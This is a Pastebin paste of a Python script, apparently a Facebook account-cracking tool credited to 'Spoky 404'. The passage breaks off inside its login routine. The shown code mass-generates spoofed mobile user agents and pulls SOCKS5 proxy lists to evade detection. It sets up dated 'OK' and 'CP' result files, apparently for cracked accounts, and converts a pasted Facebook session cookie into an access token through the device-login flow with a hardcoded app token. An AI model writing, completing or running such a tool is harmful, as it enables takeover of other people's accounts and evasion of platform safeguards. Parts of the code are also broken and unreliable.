OBF-XIn

125.164.234.159-/sdcard/BASARI-DATA/Prib_1.py.py

Jun 3rd, 2023
52
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 61.35 KB | None | 0 0
  1. #-----------------[ IMPORT-MODULE ]-------------------
  2. import requests,bs4,json,os,sys,random,datetime,time,re
  3. import urllib3,rich,base64
  4. from rich.table import Table as me
  5. from rich.console import Console as sol
  6. from bs4 import BeautifulSoup as sop
  7. from bs4 import BeautifulSoup as parser
  8. from concurrent.futures import ThreadPoolExecutor as tred
  9. from rich.console import Group as gp
  10. from rich.panel import Panel as nel
  11. from rich.panel import Panel
  12. from rich.tree import Tree
  13. from rich.table import Table
  14. from rich import print as cetak
  15. from rich.markdown import Markdown as mark
  16. from rich.columns import Columns as col
  17. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn
  18. from concurrent.futures import ThreadPoolExecutor as tred
  19. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn,TransferSpeedColumn,DownloadColumn
  20. from rich import print as prints
  21. from rich import pretty
  22. from rich.text import Text as tekz
  23. from time import time as cok
  24. #==========Random User Ugent==========#
  25. #user_agent=['Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/9.2 Chrome/94.0.4606.41 Mobile Safari/537.36','Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/7.0 Chrome/94.0.4606.20 Mobile Safari/537.36','Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/9.2 Chrome/94.0.4589.2 Mobile Safari/537.36','Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/7.0 Chrome/94.0.4606.50 Mobile Safari/537.36','Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.992.38 Mobile Safari/537.36','Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.98 Mobile Safari/537.36 OPT/2.9','Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/9.2 Chrome/95.0.4636.2 Mobile Safari/537.36','Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/9.2 Chrome/95.0.4621.0 Mobile Safari/537.36']
  26. "Mozilla/5.0 (Linux; Android 7.0; SM-A520F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36 [ip:109.118.118.23]"
  27. "Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.69 Mobile Safari/537.36 YaApp_Android/11.01 YaSearchBrowser/11.01"
  28. "Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW; ru-ru) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.136 Mobile Safari/537.36 Puffin/9.7.2.51367AP"
  29. "Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW; ru-ru) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.136 Mobile Safari/537.36 Puffin/9.6.1.51244AP"
  30. "Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.88 Mobile Safari/537.36 YaApp_Android/10.51 YaSearchBrowser/10.51"
  31. "Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/9.2 Chrome/96.0.4664.51 Mobile Safari/537.36"
  32. "Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/7.0 Chrome/96.0.4647.2 Mobile Safari/537.36"
  33. "Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/7.0 Chrome/97.0.4652.92 Mobile Safari/537.36"
  34. "Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Mobile Safari/537.36 YaApp_Android/9.75 YaSearchBrowser/9.75"
  35. "Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.105 Mobile Safari/537.36 YaApp_Android/9.65 YaSearchBrowser/9.65"
  36. "Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/9.2 Chrome/95.0.4626.1 Mobile Safari/537.36"
  37. "Mozilla/5.0 (Linux; U; Android 8.0.0; de-de; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Mobile Safari/537.36 PHX/9.3"
  38. "Mozilla/5.0 (Linux; Android 11; Infinix X6816D Build/RP1A.201005.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.136 Mobile Safari/537.36"
  39. "Mozilla/5.0 (Linux; Android 11; Infinix X6812) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Mobile Safari/537.36"
  40. "Mozilla/5.0 (Linux; Android 11; Infinix X689B Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.132 Mobile Safari/537.36"
  41. "Mozilla/5.0 (Linux; Android 8.1.0; Infinix X650 Build/O11019; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/70.0.3538.110 Mobile Safari/537.36"
  42. "Mozilla/5.0 (Linux; Android 11; Infinix X697 Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.101 Mobile Safari/537.36"
  43. "Mozilla/5.0 (Linux; Android 12; Infinix X663) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Mobile Safari/537.36"
  44. "Mozilla/5.0 (Linux; Android 11; Infinix X693 Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.135 Mobile Safari/537.36"
  45. "Mozilla/5.0 (Linux; Android 11; Infinix X695) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.126 Mobile Safari/537.36"
  46. "Mozilla/5.0 (Linux; Android 10; Infinix X690 Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/80.0.3987.99 Mobile Safari/537.36"
  47. "Mozilla/5.0 (Linux; Android 12; Infinix X672 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.132 Mobile Safari/537.36"
  48. "Mozilla/5.0 (Linux; Android 12; Infinix X676C Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/99.0.4844.88 Mobile Safari/537.36"
  49. "Mozilla/5.0 (Linux; Android 12; Infinix X670 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.136 Mobile Safari/537.36"
  50. "Mozilla/5.0 (Linux; Android 11; Infinix X6815) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.104 Mobile Safari/537.36"
  51. "Mozilla/5.0 (Linux; Android 10; Infinix X687 Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.135 Mobile Safari/537.36"
  52. "Mozilla/5.0 (Linux; Android 12; Infinix X6821 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/105.0.5195.136 Mobile Safari/537.36"
  53. "Mozilla/5.0 (Linux; Android 7.0; Infinix HOT 4 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.136 Mobile Safari/537.36"
  54. "Mozilla/5.0 (Linux; Android 10; Infinix X680B Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/102.0.5005.78 Mobile Safari/537.36"
  55. "Mozilla/5.0 (Linux; Android 11; Infinix X6815) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.104 Mobile Safari/537.36"
  56. "Mozilla/5.0 (Linux; Android 11; Infinix X6810 Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/109.0.5414.117 Mobile Safari/537.36"
  57. "Mozilla/5.0 (Linux; Android 11; Infinix X6811 Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/90.0.4430.210 Mobile Safari/537.36"
  58. "Mozilla/5.0 (Linux; Android 5.1; Infinix-X600-LTE Build/LMY47D) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36"
  59. "Mozilla/5.0 (Linux; Android 5.1; Infinix NOTE 2 LTE Build/LMY47D) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36"
  60. "Mozilla/5.0 (Linux; Android 11; Infinix X689C Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.136 Mobile Safari/537.36"
  61. "Mozilla/5.0 (Linux; Android 12; Infinix X677 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/99.0.4844.88 Mobile Safari/537.36"
  62. "Mozilla/5.0 (Linux; Android 12; Infinix X671B Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.136 Mobile Safari/537.36"
  63. "Mozilla/5.0 (Linux; Android 12; Infinix X6820 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.135 Mobile Safari/537.36"
  64. "Mozilla/5.0 (Linux; Android 8.1.0; Infinix X620) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Mobile Safari/537.36"
  65. "Mozilla/5.0 (Linux; Android 8.1.0; Infinix X620B Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.132 Mobile Safari/537.36"
  66. "Mozilla/5.0 (Linux; Android 12; Infinix X676B Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.136 Mobile Safari/537.36"
  67. "Mozilla/5.0 (Linux; Android 10; Infinix X657B Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/80.0.3987.99 Mobile Safari/537.36"
  68. "Mozilla/5.0 (Linux; arm; Android 12; Infinix X6823C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 YaSearchBrowser/23.33.1 BroPP/1.0 YaSearchApp/23.33.1 webOmni SA/3 Mobile Safari/537.36"
  69. "Mozilla/5.0 (Linux; Android 12; Infinix X6515 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/113.0.5672.76 Mobile Safari/537.36"
  70. "Mozilla/5.0 (Linux; Android 10; TECNO LC8 Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36"
  71. "Mozilla/5.0 (Linux; Android 10; Redmi Note 7 Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.135 Mobile Safari/537.36"
  72. "Mozilla/5.0 (Linux; Android 7.1.2; Redmi 4A Build/N2G47H; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.158 Mobile Safari/537.36"
  73. "Mozilla/5.0 (Linux; Android 9; Redmi 6A Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/94.0.4606.85 Mobile Safari/537.36"
  74. "Mozilla/5.0 (Linux; Android 12; Redmi Note 9 Pro Max Build/SKQ1.211019.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36"
  75. uas_random = (["Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.66 Mobile Safari/537.36 YaApp_Android/10.41 YaSearchBrowser/10.41","Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.82 Mobile Safari/537.36 YaApp_Android/11.10 YaSearchBrowser/11.10","Mozilla/5.0 (Linux; Android 7.0; SM-A520F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 YaApp_Android/10.44 YaSearchBrowser/10.44","Mozilla/5.0 (Linux; Android 7.0; SM-A520F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.93 Mobile Safari/537.36 YaApp_Android/9.80 YaSearchBrowser/9.80","Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.143 Mobile Safari/537.36 YaApp_Android/10.30 YaSearchBrowser/10.30","Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.210 Mobile Safari/537.36 YaApp_Android/9.50 YaSearchBrowser/9.50"])
  76. "Mozilla/5.0 (Linux; U; Android 7.0; nl-be; SM-A520F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.132 Mobile Safari/537.36 PHX/9.3"
  77. "Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/9.2 Chrome/96.0.4640.2 Mobile Safari/537.36"
  78. "Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/9.2 Chrome/97.0.4669.77 Mobile Safari/537.36"
  79. uas_random2 = (["Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.91 Mobile Safari/537.36 YaApp_Android/10.70 YaSearchBrowser/10.70","Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.66 Mobile Safari/537.36 OPT/2.9","Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36 YaApp_Android/10.44 YaSearchBrowser/10.44"])
  80. #------------------[ USER-AGENT ]-------------------#
  81. pretty.install()
  82. CON=sol()
  83. ugen=[]
  84. ugen2=[]
  85. proxxy=[]
  86. dump=[]
  87. cokbrut=[]
  88. ngentott = []
  89. ses=requests.Session()
  90. princp=[]
  91. try:
  92.     prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5&timeout=100000&country=all&ssl=all&anonymity=all').text
  93.     open('.prox.txt','w').write(prox)
  94. except Exception as e:
  95.     exit(e)
  96. #╭∩╮(︶.︶メ)[ USER UGENT 1 ](︶.︶メ)╭∩╮#
  97. for agenku in range(10000):
  98.     a='Mozilla/5.0 (Linux: Android'
  99.     b=random.randrange(1, 9)
  100.     c=random.randrange(1, 9)
  101.     d='SPOKY-XD'
  102.     e=random.randrange(100, 9999)
  103.     f='Applewebkit/537.36 (KHTML.like Gecko) Version/4.0 Chrome/'
  104.     g=random.randrange(1, 9)
  105.     h=random.randrange(1, 4)
  106.     i=random.randrange(1, 4)
  107.     j=random.randrange(1, 4)
  108.     k='Mobile Safari/537.36 OPT/1.14.51'
  109.     uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
  110.     ugen.append(uaku)
  111.    
  112.     a='Mozilla/5.0 (Linux; Android'
  113.     b=random.choice(['6.0.1','7.1.1','8.1.0'])
  114.     c='SPOKY-XD Build/MMB29K)'
  115.     d='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/'
  116.     e=random.randrange(83,103)
  117.     f='0'
  118.     g=random.randrange(4200,4900)
  119.     h=random.randrange(40,150)
  120.     i='Mobile Safari/537.36 OPT/1.7.21'
  121.     uakuh=f'{a} {b}; {c} {d}{e}.{f}.{g}.{h} {i}'
  122.     ugen2.append(uakuh)
  123.    
  124. #╭∩╮(︶.︶メ)[ USER UGENT 2 ](︶.︶メ)╭∩╮#
  125. for agenku in range(10000):
  126.     a='Mozilla/5.0 (Linux; Android'
  127.     b=random.randrange(1, 9)
  128.     c=random.randrange(1, 9)
  129.     d='SPOKY-XD Build/QP1A.190711.020; wv)'
  130.     e=random.randrange(100, 9999)
  131.     f='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/'
  132.     g=random.randrange(1, 9)
  133.     h=random.randrange(1, 4)
  134.     i=random.randrange(1, 4)
  135.     j=random.randrange(1, 4)
  136.     k='Mobile Safari/537.36'
  137.     uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
  138.     ugen.append(uaku)
  139.    
  140.     a='Mozilla/5.0 (Linux; Android'
  141.     b=random.choice(['6','7','8','9','10','11','12','13'])
  142.     c='SPOKY-XD Build/O11019; wv)D873A)'
  143.     d='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/'
  144.     e=random.randrange(83,103)
  145.     f='0'
  146.     g=random.randrange(4200,4900)
  147.     h=random.randrange(40,150)
  148.     i='Mobile Safari/537.36[FBAN/EMA;FBLC/ar_AR;FBAV/347.0.0.17'
  149.     uakuh=f'{a} {b}; {c} {d}{e}.{f}.{g}.{h} {i}'
  150.     ugen2.append(uakuh)
  151.    
  152. #╭∩╮(︶.︶メ)[ USER UGENT 3 ](︶.︶メ)╭∩╮#   
  153. for pepeh in range(10000):
  154.     a='Mozilla/5.0 (Linux: Android'
  155.     b=random.randrange(1, 9)
  156.     c=random.randrange(1, 9)
  157.     d='SPOKY-XD'
  158.     e=random.randrange(100, 9999)
  159.     f='Applewebkit/537.36 (KHTML.like Gecko) Version/4.0 Chrome/'
  160.     g=random.randrange(1, 9)
  161.     h=random.randrange(1, 4)
  162.     i=random.randrange(1, 4)
  163.     j=random.randrange(1, 4)
  164.     k='Mobile Safari/537.36 OPT/1.14.51'
  165.     okepku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
  166.     ugen.append(okepku)
  167.    
  168.     a='Mozilla/5.0 (Linux; Android'
  169.     b=random.randrange(1, 9)
  170.     c=random.randrange(1, 9)
  171.     d='SPOKY-XD Build/MMB29K)'
  172.     e=random.randrange(100, 9999)
  173.     f='Applewebkit/537.36 (KHTML.like Gecko) Version/4.0 Chrome/'
  174.     g=random.randrange(1, 9)
  175.     h=random.randrange(1, 4)
  176.     i=random.randrange(1, 4)
  177.     j=random.randrange(1, 4)
  178.     k='Mobile Safari/537.36 OPT/1.14.51'
  179.     okepku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
  180.     ugen.append(okepku)
  181.    
  182. #╭∩╮(︶.︶メ)[ USER UGENT 4 ](︶.︶メ)╭∩╮#   
  183. for pepeh in range(10000):
  184.     a='Mozilla/5.0 (Linux; Android'
  185.     b=random.choice(['5','6','7','8','9','10','12','13'])
  186.     c='SPOKY-XD Build/LMY47I)'
  187.     d='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/'
  188.     e=random.randrange(83,103)
  189.     f='0'
  190.     g=random.randrange(4200,4900)
  191.     h=random.randrange(40,150)
  192.     i='Mobile Safari/537.36'
  193.     okepku2=f'{a} {b}; {c} {d}{e}.{f}.{g}.{h} {i}'
  194.     ugen2.append(okepku2)
  195.    
  196.     a='Mozilla/5.0 (Linux; Android'
  197.     b=random.choice(['5','6','7','8','9','10','12','13'])
  198.     c='SPOKY-XD Build/O11019; wv)D873A)'
  199.     d='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/'
  200.     e=random.randrange(83,103)
  201.     f='0'
  202.     g=random.randrange(4200,4900)
  203.     h=random.randrange(40,150)
  204.     i='Mobile Safari/537.36[FBAN/EMA;FBLC/ar_AR;FBAV/347.0.0.17'
  205.     okepku2=f'{a} {b}; {c} {d}{e}.{f}.{g}.{h} {i}'
  206.     ugen2.append(okepku2)
  207.        
  208. for xd in range(10):
  209.     a='Mozilla/5.0 (Windows NT 10.0;'
  210.     b=random.randrange(100, 9999)
  211.     c=random.randrange(100, 9999)
  212.     d='WOW64)'
  213.     e=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  214.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  215.     g=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  216.     h=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  217.     i=random.randrange(1, 9)
  218.     j='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
  219.     k=random.randrange(1, 9)
  220.     l=random.randrange(1, 9)
  221.     m='Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]'
  222.     uak=f'{a}{b}/{c}{d}{e}{f}{g}{h}{i}{j}.{k} {l}'
  223.    
  224.     a=random.choice(['3','4','5','6','7','8','9','10','11','12','13'])
  225.     b=random.choice(['3','4','5','6','7','8','9','10','11','12','13'])
  226.     c=random.randrange(73,100)
  227.     d=random.randrange(4200,4900)
  228.     e=random.randrange(40,150)
  229.     uak=f'Mozilla/5.0 (Linux; Android 4 {a}; CPH2109 Build/RKQ1.132111.001; wv) {b}) AppleWebKit/537.36  (KHTML, like Gecko) Chrome/76.0.5751.133 {c}.0.{d}.{e} Mobile Safari/537.36'
  230. def uaku():
  231.     try:
  232.         ua=open('bbnew.txt','r').read().splitlines()
  233.         for ub in ua:
  234.             ugen.append(ub)
  235.     except:
  236.         a=requests.get('https://github.com/EC-1709/a/blob/main/bbnew.txt').text
  237.         ua=open('.bbnew.txt','w')
  238.         aa=re.findall('line">(.*?)<',str(a))
  239.         for un in aa:
  240.             ua.write(un+'\n')
  241.         ua=open('.bbnew.txt','r').read().splitlines()
  242. #------------[ INDICATION ]---------------#
  243. id,id2,loop,ok,cp,akun,oprek,method,lisensiku,taplikasi,tokenku,uid,lisensikuni= [],[],0,0,0,[],[],[],[],[],[],[],[]
  244. cokbrut=[]
  245. uadia, uadarimu = [],[]
  246. pwpluss,pwnya=[],[]
  247. #------------[ WARNA-COLOR ]--------------#
  248. P = '\x1b[1;97m'
  249. M = '\x1b[1;91m'
  250. H = '\x1b[1;92m'
  251. K = '\x1b[1;93m'
  252. B = '\x1b[1;94m'
  253. U = '\x1b[1;95m'
  254. O = '\x1b[1;96m'
  255. N = '\x1b[0m'    
  256. Z = "\033[1;30m"
  257. sir = '\033[41m\x1b[1;97m'
  258. x = '\33[m' # DEFAULT
  259. m = '\x1b[1;91m' #RED +
  260. k = '\033[93m' # KUNING +
  261. h = '\x1b[1;92m' # HIJAU +
  262. hh = '\033[32m' # HIJAU -
  263. u = '\033[95m' # UNGU
  264. kk = '\033[33m' # KUNING -
  265. b = '\33[1;96m' # BIRU -
  266. p = '\x1b[0;34m' # BIRU +
  267. puti = '\033[1;37m'
  268. asu = random.choice([m,k,h,u,b])
  269. ###----------[ WARNA PRINT RICH ]---------- ###
  270. M2 = "[#FF0000]" # MERAH
  271. H2 = "[#00FF00]" # HIJAU
  272. K2 = "[#FFFF00]" # KUNING
  273. B2 = "[#00C8FF]" # BIRU
  274. P2 = "[#FFFFFF]" # PUTIH
  275.  
  276. ###----------[ CEK WARNA TEMA ]---------- ###
  277. try:
  278.     file_color = open("data/theme_color","r").read()
  279.     color_text = file_color.split("|")[0]
  280.     color_panel = file_color.split("|")[1]
  281. except:
  282.     color_text = "[#00FF00]"
  283.     color_panel = "#00C8FF"
  284. #--------------------[ CONVERTER-BULAN ]--------------#
  285. dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
  286. dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
  287. tgl = datetime.datetime.now().day
  288. bln = dic[(str(datetime.datetime.now().month))]
  289. thn = datetime.datetime.now().year
  290. okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  291. cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  292.  
  293. ###----------[ GET TIME ]---------- ###
  294. def waktu():
  295.     now = datetime.now()
  296.     hours = now.hour
  297.     if 4 <= hours < 12:timenow = "good morning"
  298.     elif 12 <= hours < 15:timenow = "good afternoon"
  299.     elif 15 <= hours < 18:timenow = "good evening"
  300.     else:timenow = "good night"
  301.     return timenow
  302. #------------------[ MACHINE-SUPPORT ]---------------#
  303. def dhanz(u):
  304.         for e in u + "\n":sys.stdout.write(e);sys.stdout.flush();time.sleep(0.004)
  305. def clear():
  306.     os.system('clear')
  307. def back():
  308.     login()
  309. ##------------------[ LOGO-LAKNAT ]-----------------#
  310. def banner():
  311.     clear()
  312.     cetak(nel(f'''{asu}  ___ ___  ___  _  ____   __   _ _   __  _ _  
  313. / __| _ \/ _ \| |/ /\ \ / /__| | | /  \| | |  {p}RICODE BY
  314. \__ \ _/ (_) | ' <  \ V /___|_  _| () |_  _| {k}Spoky 404
  315. |___/_|  \___/|_|\_\ |_|      |_| \__/  |_|
  316.                                              '''))          
  317. #--------------------[ BAGIAN-MASUK ]--------------#
  318. def login():
  319.     try:
  320.         token = open('.token.txt','r').read()
  321.         cok = open('.cok.txt','r').read()
  322.         tokenku.append(token)
  323.         try:
  324.             sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
  325.             sy2 = json.loads(sy.text)['name']
  326.             sy3 = json.loads(sy.text)['id']
  327.             menu(sy2,sy3)
  328.         except KeyError:
  329.             login_lagi334()
  330.         except requests.exceptions.ConnectionError:
  331.             li = '# PROBLEM INTERNET CONNECTION, CHECK AND TRY AGAIN'
  332.             lo = mark(li, style='red')
  333.             sol().print(lo, style='cyan')
  334.             exit()
  335.     except IOError:
  336.         login_lagi334()
  337. def login_lagi334():
  338.     try:
  339.         os.system('clear')
  340.         banner()
  341.         print('')
  342.         your_cookies = input(' Masukan Cookie : ')
  343.         with requests.Session() as r:
  344.             try:
  345.                 r.headers.update({'content-type': 'application/x-www-form-urlencoded',})
  346.                 data = {'access_token': '867777633323150|446fdcd4a3704f64e5f6e5fd12d35d01','scope': ''}
  347.                 response = json.loads(r.post('https://graph.facebook.com/v2.6/device/login/', data = data).text)
  348.                 code, user_code = response['code'], response['user_code']
  349.                 verification_url, status_url = ('https://m.facebook.com/device?user_code={}'.format(user_code)), ('https://graph.facebook.com/v2.6/device/login_status?method=post&code={}&access_token=867777633323150|446fdcd4a3704f64e5f6e5fd12d35d01&callback=LeetsharesCallback'.format(code))
  350.                 r.headers.pop('content-type')
  351.                 r.headers.update({'sec-fetch-mode': 'navigate','user-agent': 'Mozilla/5.0 (Linux; Android 9; RMX1941 Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/107.0.5304.54 Mobile Safari/537.36','sec-fetch-site': 'cross-site','Host': 'm.facebook.com','accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-dest': 'document',})
  352.                 response2 = r.get(verification_url, cookies = {'cookie': your_cookies}).text
  353.                 if 'Bagaimana Anda ingin masuk ke Facebook?' in str(response2) or '/login/?next=' in str(response2):
  354.                     print(" ├╴>  Cookie Invalid...", end='\r');time.sleep(3.5);print("                     ", end='\r');exit()
  355.                 else:
